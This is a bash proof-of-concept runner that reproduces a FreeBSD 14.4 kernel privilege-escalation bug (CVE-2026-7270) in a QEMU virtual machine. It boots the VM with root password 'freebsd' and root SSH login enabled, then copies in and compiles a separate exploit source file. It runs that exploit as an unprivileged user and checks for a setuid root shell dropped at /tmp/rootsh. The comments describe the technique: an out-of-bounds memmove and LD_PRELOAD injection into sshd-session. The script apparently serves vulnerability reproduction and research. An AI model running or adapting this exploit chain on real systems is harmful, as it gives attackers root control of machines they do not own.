#!/bin/bash # # run_poc.sh — Reproduce CVE-2026-7270 on FreeBSD 14.4 under QEMU. # # The exploit (exec1_lpe21.c) triggers an operator-precedence bug in # exec_args_adjust_args() that causes an OOB memmove into the adjacent # exec_map entry. It injects LD_PRELOAD into sshd-session's environment # to run a constructor as uid=0 and drop a suid root shell at /tmp/rootsh. # # Usage: # ./run_poc.sh [disk.qcow2] # boot VM and run exploit # ./run_poc.sh run # re-run exploit against already-running VM # ./run_poc.sh clean # kill VM and remove work dir # # The disk image must be a FreeBSD 14.4-RELEASE amd64 VM with: # - root password: freebsd # - PermitRootLogin yes in sshd_config # - sshd enabled (default) # # If no image is given the script looks for one in the sibling # CVE-2026-4747 directory, then offers to download one from FreeBSD.org. # set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" WORK_DIR="$SCRIPT_DIR" SSH_PORT=2225 SSH_PASS=freebsd SSH_USER=root UNPRIV_USER=freebsd ROUNDS=15000 # Canonical source image to copy from if none exists locally SOURCE_IMAGE="/var/folders/n0/6hrxj4wj1dj6zrcxqp942hyw0000gn/T//fbsd-cve-7270/freebsd.qcow2" FBSD_IMAGE_URL="https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz" QEMU_BIN="" VM_PID_FILE="$WORK_DIR/vm.pid" # ---------- helpers ---------- die() { echo "ERROR: $*" >&2; exit 1; } find_qemu() { for q in \ /opt/homebrew/bin/qemu-system-x86_64 \ /usr/local/bin/qemu-system-x86_64 \ "$(command -v qemu-system-x86_64 2>/dev/null)" ; do [ -x "$q" ] && { QEMU_BIN="$q"; return; } done die "qemu-system-x86_64 not found. Install with: brew install qemu" } check_deps() { local missing=() command -v sshpass >/dev/null 2>&1 || missing+=(sshpass) [ ${#missing[@]} -eq 0 ] && return echo "Installing missing deps: ${missing[*]}" brew install "${missing[@]}" } ssh_cmd() { sshpass -p "$SSH_PASS" ssh \ -o StrictHostKeyChecking=no \ -o UserKnownHostsFile=/dev/null \ -o LogLevel=ERROR \ -p "$SSH_PORT" \ "$SSH_USER@127.0.0.1" "$@" } scp_cmd() { sshpass -p "$SSH_PASS" scp \ -o StrictHostKeyChecking=no \ -o UserKnownHostsFile=/dev/null \ -o LogLevel=ERROR \ -P "$SSH_PORT" \ "$@" } wait_for_ssh() { echo "[*] Waiting for SSH on port $SSH_PORT..." for i in $(seq 1 120); do sshpass -p "$SSH_PASS" ssh \ -o StrictHostKeyChecking=no \ -o UserKnownHostsFile=/dev/null \ -o LogLevel=ERROR \ -o ConnectTimeout=3 \ -p "$SSH_PORT" \ "$SSH_USER@127.0.0.1" true 2>/dev/null && \ { echo "[*] SSH up after ${i}s"; return 0; } sleep 2 done die "SSH did not come up after 240s" } # ---------- disk image ---------- find_or_fetch_image() { local dst="$WORK_DIR/freebsd.qcow2" if [ -f "$dst" ]; then echo "[*] Using existing image: $dst" >&2 echo "$dst" return fi if [ -f "$SOURCE_IMAGE" ]; then echo "[*] Copying image from $SOURCE_IMAGE..." >&2 cp "$SOURCE_IMAGE" "$dst" echo "$dst" return fi echo "[*] No disk image found. Downloading FreeBSD 14.4-RELEASE from freebsd.org..." >&2 mkdir -p "$WORK_DIR" local xz="$WORK_DIR/freebsd-14.4.qcow2.xz" local base="$WORK_DIR/freebsd-14.4-base.qcow2" curl -fL --progress-bar -o "$xz" "$FBSD_IMAGE_URL" xz -d -k "$xz" mv "${xz%.xz}" "$base" qemu-img resize "$base" 8G # Seed ISO for cloud-init first boot if command -v genisoimage >/dev/null 2>&1 || command -v mkisofs >/dev/null 2>&1; then local isocmd isocmd=$(command -v genisoimage 2>/dev/null || command -v mkisofs) cat > "$WORK_DIR/user-data" << 'EOF' #cloud-config chpasswd: list: | root:freebsd expire: False ssh_pwauth: True runcmd: - echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config - service sshd restart EOF printf 'instance-id: cve-7270\nlocal-hostname: freebsd-cve7270\n' \ > "$WORK_DIR/meta-data" "$isocmd" -output "$WORK_DIR/seed.iso" -volid cidata -joliet -rock \ "$WORK_DIR/user-data" "$WORK_DIR/meta-data" 2>/dev/null SEED_ISO="$WORK_DIR/seed.iso" else die "genisoimage/mkisofs not found. Install with: brew install cdrtools" fi cp "$base" "$dst" echo "[*] Running cloud-init first boot (this takes ~60s)..." >&2 boot_vm "$dst" "$SEED_ISO" wait_for_ssh ssh_cmd "sync" kill_vm sleep 3 echo "$dst" } # ---------- VM lifecycle ---------- boot_vm() { local image="$1" local seed="${2:-}" find_qemu # Kill any existing VM on our port if [ -f "$VM_PID_FILE" ]; then local old_pid old_pid=$(cat "$VM_PID_FILE" 2>/dev/null || true) [ -n "$old_pid" ] && kill "$old_pid" 2>/dev/null || true rm -f "$VM_PID_FILE" sleep 2 fi local qemu_args=( -cpu Skylake-Client -m 2G -smp 4 -drive "file=$image,format=qcow2,if=virtio" -netdev "user,id=net0,hostfwd=tcp::${SSH_PORT}-:22" -device virtio-net-pci,netdev=net0 -nographic -no-reboot ) [ -n "$seed" ] && qemu_args+=(-cdrom "$seed") echo "[*] Booting FreeBSD 14.4 VM (4 CPUs, 2GB RAM, SSH on port $SSH_PORT)..." "$QEMU_BIN" "${qemu_args[@]}" > "$WORK_DIR/vm.log" 2>&1 & echo $! > "$VM_PID_FILE" echo "[*] QEMU pid $(cat "$VM_PID_FILE"), log: $WORK_DIR/vm.log" } kill_vm() { if [ -f "$VM_PID_FILE" ]; then local pid pid=$(cat "$VM_PID_FILE") echo "[*] Stopping VM (pid $pid)..." kill "$pid" 2>/dev/null || true rm -f "$VM_PID_FILE" fi } # ---------- exploit ---------- run_exploit() { local exploit_src="$SCRIPT_DIR/exec1_lpe21.c" [ -f "$exploit_src" ] || die "exploit source not found: $exploit_src" echo "[*] Copying exploit source to VM..." scp_cmd "$exploit_src" "$SSH_USER@127.0.0.1:/tmp/exec1_lpe21.c" echo "[*] Creating unprivileged user '$UNPRIV_USER' and compiling..." ssh_cmd sh -s << HEREDOC set -e id $UNPRIV_USER >/dev/null 2>&1 || pw useradd -n $UNPRIV_USER -m -s /bin/sh -w none cc -O2 -o /tmp/exec1_lpe21 /tmp/exec1_lpe21.c chmod 755 /tmp/exec1_lpe21 echo "[*] Compiled OK" HEREDOC echo "[*] Running exploit as '$UNPRIV_USER' (up to $ROUNDS rounds)..." echo "[*] Watch for ROOT OBTAINED below:" echo ssh_cmd su -m "$UNPRIV_USER" -c "/tmp/exec1_lpe21 $ROUNDS 0 2>&1" echo echo "[*] Verifying root..." ssh_cmd sh << 'HEREDOC' if [ -f /tmp/GOT_ROOT ]; then echo "=== /tmp/GOT_ROOT ===" cat /tmp/GOT_ROOT echo "=== /tmp/rootsh ===" ls -la /tmp/rootsh echo "=== id via rootsh ===" /tmp/rootsh -p -c id else echo "[-] /tmp/GOT_ROOT not found — exploit did not succeed" exit 1 fi HEREDOC } # ---------- main ---------- case "${1:-boot}" in run) check_deps run_exploit ;; clean) kill_vm echo "[*] Removing VM artifacts from $WORK_DIR" rm -f "$WORK_DIR/freebsd.qcow2" "$WORK_DIR/vm.pid" "$WORK_DIR/vm.log" ;; boot|"") check_deps IMAGE=$(find_or_fetch_image) boot_vm "$IMAGE" wait_for_ssh run_exploit kill_vm ;; *.qcow2|*.img) check_deps boot_vm "$1" wait_for_ssh run_exploit kill_vm ;; *) echo "Usage: $0 [disk.qcow2 | run | clean]" exit 1 ;; esac